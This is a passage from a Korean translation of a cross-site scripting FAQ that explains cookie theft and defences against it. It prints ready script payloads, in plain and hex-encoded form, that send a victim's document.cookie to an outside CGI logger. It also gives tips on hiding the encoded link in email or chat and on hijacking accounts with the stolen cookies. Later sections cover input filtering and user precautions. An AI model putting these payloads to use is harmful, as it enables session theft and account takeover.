%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%
72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 이것들은 악의적인 자바스크립트의 예들이다. 이 스크립트는 사용자의 쿠키를 수집하고, 그런 다음 질의를 받을 경우 cgisecurity.com 사이트에 리퀘스트를 보낸다. 그러면 cgisecurity.com에 있는 스크립트는 각각의 쿠키와 리퀘스트를 기록할 것이다. 간단히 말하면 다음과 같다.
My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi 이것은 다음과 같은 리퀘스트를 사이트에 보낸다.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (%20은 한 공간에 대한 hex 인코딩이다.) 이것은 사용자의 쿠키를 획득할 수 있는 원시적이지만 효과적인 방법이다. 이 스크립트의 사용에 대한 로그는 www.cgisecurity.com/articles/cookie-theft.log에서 찾을 수 있다. 3 단계: XSS 실행 실행을 위해 조작된 url, 이메일, 과련 소프트웨어를 이용한다. 이메일이나 aim, 또는 다른 수단으로 통해 사용자에게 HEX로 인코딩한 URL을 제공해야함을 기억하자. 이 코드는 분명 의심스럽게 보이지만 많은 hex 문자로 되어 있는 것은 어떤 사람들을 바보로 만들 수 있다. 위에서 제시된 예에서는 단지 cookie.cgi로 사용자를 포워딩했을뿐이다. 시간이 있는 공격자라면 몇가지 리다이렉트와 XSS 조합을 통해 사용자의 쿠키를 훔칠 수 있으며, 그것을 쿠키를 훔쳤다는 것을 들키지 않고 웹사이
트로 리턴할 수 있다.
몇몇 이메일 프로그램은 메시지에 자바스크립트가 첨부되면메시지를 열자말자 그 스크립트를 실행할 수도 있다. Hotmail 같은 대규모 사이트는 자바스크립트를 첨부하도록 허용하고 있으나 쿠키를 훔치는 것을 막기 위해 특별한 필터링을 한다.
4단계: 이 데이터로 무엇을 할 것인가 사용자가 XSS 취약점을 실행하도록 하면 데이터가 수집되어 공격자의 CGI로 보내진다. 이제 쿠키를 가지게 되면 계정 하이재킹이 가능한지 알아보기 위해 Websleuth와 같은 툴을 사용할 수 있다. 좀더 세부적인 것은 http://www.idefense.com/XSS.html을 참고해라. "업체의 방어 방법은?" 이것에 대한 대답은 간단하다. 사용자가 입력한 것을 신뢰하지 말고 항상 메타 문자들을 필터링해라. 이것은 대부분의 XSS 공격을 막을 수 있다. < 와 >를 <와 >로 전환하는 것도 좋은 생각이다. 이것으로는 충분치 않기 때문에 ( 그리고 )로 변환시킴으로써 ( 와 )를 필터링하는 것도 제안한다.
"일반 사용자의 방어 방법은?" 자신을 보호하는 가장 쉬운 방법은 메인 웹사이트에 있는 링크를 따라가는 것이다. 특정 사이트에 링크된 것을 누르는 대신 검색엔진을 이용해 그 사이트를 찾고, 그런 다음 그 사이트로 이동하는 것이 좋을 것이다. 또한 어떤 경우에 XSS은 이메일이나 첨부 파일을 열어었을 때 자동으로 실행되는 경우도 있으므로, 모르는 사람으로부터 그런 메일을 받았을 경우 신뢰하지 않은 것이 좋다. 또 다른 방어 방법은 사용하고 있는 브라우저의 설정 부분에서 자바스크립트를 활성화시키지 않는 것이다. IE를 사용한다면 보안 설정을 높게 잡으면 된다.
"어떻게 XSS 취약점이 일반적인가?" Cross site scripting 취약점은 해커들 사이에서 대규모 사이트에서 찾기 쉬운 취약점으로서 인기를 얻고 있다. FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, 그리고 Newsbytes등의 사이트는 하나 내지 그 이상의 XSS 취약점을 가지고 있다. 매달 대략 10-25개 정도의 XSS 취약점이 상용 제품에서 발견되고 있으며, 그 위험성을 설명하는 권고문들이 발표되고 있다.
"암호화가 방어책이 될 수 있는가?" SSL(https)을 사용하는 웹사이트들도 완전히 안전한 것은 아니다. 일반 사용자들도 그들의 브라우저를 통제하고 있다고 해서 완벽한 완전이 보장된다고 생각해서는 안된다.
"XSS 취약점은 명령을 실행할 수 있는가?" XSS 취약점은 자바스크립트 투입을 허용할 수 있다. 그것은 제한된 실행을 허용할 것이다. 만약 공격자가 브라우저의 취약점을 공략한다면 클랑언트 측에 대해 명령을 실행하는 것이 가능할 것이다. 만약 명령 실행이 가능하다면 단지 클라이언트 측에만 가능할 것이다. 간단히 말해 XSS 취약점은 브라우저에 존재하는 다른 취약점을 공격하는데 도움이 되도록 사용될 수 있다.
"CSS/XSS 취약점을 수정하지 못할 경우 어떻게 해야 하는가?" XSS 취약점을 해결하지 못할 경우 이것은 사용자 계정을 장악하는 것을 허용할 수 있다. XSS 취약점은 여러 사이트에서 발견되고, 광범위하게 공개되고 있다. 이것은 그 사이트의 보안이 제대로 되어 있지 않다라는 불명예를 안겨줄 수 줄 수 있다. 만약 특정 사이트의 고객들이 그 사이트를 신뢰하지 못한다면 그 사이트와의 거래는 하지 않을 것이다.
[참고문헌] http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm http://www.perl.com/pub/a/2002/02/20/css.html http://www.cert.org/advisories/CA-2000-02.html http://www.cert.org/tech_tips/cgi_metacharacters.html http://eyeonsecurity.net/papers/passporthijack.html http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies http://www.cgisecurity.com/articles/xss-faq.txt
